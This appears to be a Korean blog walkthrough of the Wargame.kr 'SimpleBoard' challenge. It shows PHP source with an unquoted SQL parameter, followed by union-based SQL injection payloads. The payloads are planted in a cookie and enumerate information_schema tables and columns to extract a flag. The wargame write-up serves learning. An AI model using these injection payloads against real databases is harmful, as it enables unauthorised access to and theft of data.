[Wargame.kr] SimpleBoard 풀이 (360p)
Wargame/wargame.kr

[Wargame.kr] SimpleBoard 풀이 (360p)

SimpleBoard view-source code

Simple Union SQL injection Challenge.
(but you need script... maybe?)

<?php
    Class Board {
        private $db;
        private $table;

        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }

    }

풀이에 딱히 필요없는 코드는 지웠다.

문제를 읽어보면 단순한 Union SQL Injection이고 스크립트가 필요할 것이라고 적혀있다.

web chatting 문제와 마찬가지로 union select로 컬럼 개수를 구해보자.

query error

??? 쿼리 에러가 난다. 왜그런가 하고 봤더니, idx 값 앞에 /를 붙여 쿠키 값으로 저장하는데 아마도 read_chk 함수에서 strpos 함수로 값을 검사하기 때문인 듯하다.

 

쿠키값 추가를 위해 EditThisCookie를 이용해 /5 union select 1,2,3,4--를 넣고 실행해봤다.

여기서 idx 값을 5를 사용하는 이유는 빈 테이블이기 때문에, 우리가 입력한 1,2,3,4 값이 테이블에 나타나기 때문이다.

컬럼의 개수가 4개임을 확인했으니, 이제 테이블 명을 구해보자. 참고로 쿼리 하려는 값을 쿠키에 추가해야 동작한다.

5 union select 1,table_name,3,4 from information_schema.tables--

테이블의 이름은 README이다. 컬럼의 이름을 구해보자.

5 union select 1,column_name,3,4 from information_schema.columns--

컬럼의 이름은 flag니 다음과 같은 쿼리를 날리면 flag를 뱉어내지 않을까?

5 union select 1,flag,3,4 from README--